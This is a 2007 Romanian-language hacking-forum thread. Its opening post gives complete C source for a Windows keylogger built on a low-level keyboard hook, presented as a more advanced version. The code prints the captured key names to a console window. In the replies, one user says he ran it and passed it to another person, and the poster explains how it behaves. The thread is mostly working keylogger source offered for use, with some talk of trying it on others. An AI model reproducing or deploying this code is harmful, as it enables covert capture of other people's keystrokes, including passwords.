SlicK Posted March 5, 2007 Report Share Posted March 5, 2007 Un Keylogger putin mai avansat...Windows NT/2k/XP#include <windows.h>#include <winuser.h>#include <stdio.h>HHOOK hKeyHook; // hook`ul// Acesta functia este exportata din executabil la fel ca o functie care face parte dintr-in dll__declspec(dllexport) LRESULT CALLBACK KeyEvent(int nCode,WPARAM wParam,LPARAM lParam){ if((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN))) { KBDLLHOOKSTRUCT hooked=*((KBDLLHOOKSTRUCT*)lParam); // diverse informatii despre tasta apasata DWORD dwMsg=1; dwMsg+=hooked.scanCode<<16; dwMsg+=hooked.flags <<24; char lpszName[0x100] = {0}; lpszName[0] = '['; int i=GetKeyNameText(dwMsg,(lpszName+1),0xFF)+1; //traduce tasta apasata dintr-un cod intr-un caracter lpszName[i] = ']'; printf(lpszName); // facem ce vrem cu caracterul tastei apasate (in acest caz il tiparim) } return CallNextHookEx(hKeyHook,nCode,wParam,lParam);}// un ciclu de mesaje folosit ca sa blocheze executia cat timp sunt logate tastelevoid MsgLoop(){ MSG message; while(GetMessage(&message,NULL,0,0)) { TranslateMessage(&message); DispatchMessage(&message); }}// instaleaza hook`ul si incepe ciclul pentru capturarea tastelor apasateDWORD WINAPI KeyLogger(LPVOID lpParameter){ HINSTANCE hExe=GetModuleHandle(NULL); if (!hExe) hExe=LoadLibrary((LPCSTR) lpParameter); if (!hExe) return 1; // eroare, iesim din program hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe,0); // instalam hook`ul MsgLoop(); // asteptam apasarea tastelor UnhookWindowsHookEx(hKeyHook); // dezinstalam hook`ul return 0;}int main(int argc, char** argv){ HANDLE hThread; DWORD dwThread; DWORD exThread; hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID) argv[0], 0, &dwThread); // incepem functia de logging intr-un alt thread if(hThread) { return WaitForSingleObject(hThread,INFINITE); } else { return 1; }} Quote Link to comment Share on other sites More sharing options...
vampy Posted March 18, 2007 Report Share Posted March 18, 2007 IO AM INCERCAT DAR IMI ARATA DOAR O FEREASTRA GRI SI I-AM DAT LU UNU SI LA ALA APARE LA FEL...POATE AM GRESIT IO CEVA ...K NU PREA STIIU SA LUCREZ IN C++ Quote Link to comment Share on other sites More sharing options...
Ras Posted March 18, 2007 Report Share Posted March 18, 2007 nici eu nu stiu c++ dar iti zic asa... tu ai pus codul, dar butoane si boxuri ai facut? nu cred ca se fac automat.te intreb asta pt ca ai zis ca iti apare o fereastra gri.EDITdaca am gresit cu ceva corectati-ma! Quote Link to comment Share on other sites More sharing options...
SlicK Posted March 19, 2007 Author Report Share Posted March 19, 2007 Nu am zis nicaieri ca acest cod poate fi compilat si apoi trimis la prieteni La rulare ar trebui sa sara o fereastra de DOS unde apar toate tastele apasate sau ma rog numele dat de "GetKeyNameText()" Quote Link to comment Share on other sites More sharing options...